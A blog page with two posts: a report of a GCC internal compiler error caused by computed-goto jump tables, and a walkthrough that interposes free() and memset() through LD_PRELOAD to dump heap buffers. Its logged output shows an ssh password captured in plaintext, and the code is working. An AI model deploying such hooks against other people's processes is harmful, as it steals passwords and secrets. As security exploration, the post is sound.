Saturday, September 29, 2012

GCC Bug 53812

I was [un]lucky enough to stumble upon a gcc bug recently. I was working on an interpreter for a simple calculator language and in building the jump table for the instructions I was using a construct similar to:


struct Processor {
    bool initialized_;
    std::map< std::string, void* > jump_table;
    Processor () : initialized_(false) {}
    long execute (Program& prog) {
        if (! initialized_) {

            jump_table["+"] = &&block_add;
            jump_table["-"] = &&block_sub;
            jump_table["*"] = &&block_mul;
            jump_table["/"] = &&block_div;
            jump_table[";"] = &&block_end;
            initialized_ = true;
            return execute (prog);
        }
block_add:
        prog.value (prog.arg (0) + prog.arg (1));
        goto *jump_table[prog.next_op ()];
block_sub:
        prog.value (prog.arg (0) - prog.arg (1));
        goto *jump_table[prog.next_op ()];
block_div:
        prog.value (prog.arg (0) / prog.arg (1));
        goto *jump_table[prog.next_op ()];
block_mul:
        prog.value (prog.arg (0) * prog.arg (1));
        goto *jump_table[prog.next_op ()];
block_end:
        return prog.result ();
    }
};


Trying to compile that with g++ 4.6.3 leads to the following error:


calc.cc: In member function 'long int Processor::execute(Program&)';
calc.cc:75:1: internal compiler error: in lower_stmt, at gimple-low.c:432


This bug also manifests itself in 4.7.0 and 4.7.1 but in a another location (verify_gimple_stmt). The oldest copy of gcc I have is 4.3.2 and the bug is not evident in that version.

Granted I was using non-standard constructs in my code but it still felt pretty cool to uncover a bug in such a well-known piece of software.

You can find the bug report (and current status) here

Friday, September 14, 2012

All your heap are belong to us

This is a port and slight expansion of the ideas presented here.

The premise of that article is that underneath the interface provided by an application the handling of sensitive information is done in memory provided on the heap (via malloc/new). With that in mind, capturing the memory before it was released by the application would potentially expose hidden details. The system used in that article was OSX and the applications were Twitter-based but I decided to port to Linux and look at ssh.

First, the port:

#include <stdio.h>
#define __USE_GNU
#include <dlfcn.h>

void (*real_free)(void *);

void free (void * mem) {
    char buff[256] = {0}, * p = mem;
    int i = 0;

    if (! mem) { return; }

    while (*p) {
        buff[i++] = *p++;
        if (i > 254)
            break;
    }

    buff[i] = 0;
    fprintf (stderr, "[free] %s\n", buff);

    real_free = dlsym (RTLD_NEXT, "free");
    real_free (mem);
}

Nothing new here, just a version of free that will be interposed by this library. Compiling that and running the following:

LD_PRELOAD=/tmp/heapgrab.so ssh ezpz@sandbox 2>heapgrab.log

Produces a log with a substantial amount of information in it. However, the password is not included anywhere. It seems that ssh sanitizes buffers before freeing them - the next logical step is to provide a version of memset that does the same thing to try and capture where the memory is sanitized:


void* (*real_memset)(void*, int, size_t);

void * memset (void * mem, int c, size_t size) {
    char buff[256] = {0}, * p = mem;
    int i = 0;

    if (! mem ) { return; }

    while (*p) {
        buff[i++] = *p++;
        if (i > (size - 1) || i > 254)
            break;
    }

    buff[i] = 0;
    fprintf (stderr, "[memset] %s\n", buff);

    real_memset = dlsym(RTLD_NEXT, "memset");
    return real_memset (mem, c, size);
}

With that, our log now contains the following:

[free] publickey,password
[free] keyboard-interactive
[free] publickey
[memset] ezpz_awesome_password
[memset] xxxxx
[memset] ezpz_awesome_password

I've played with interpositioning a bit over the past few years but I never considered using it in exactly this way. Thanks to Joe Damato for the initial idea and original OSX code.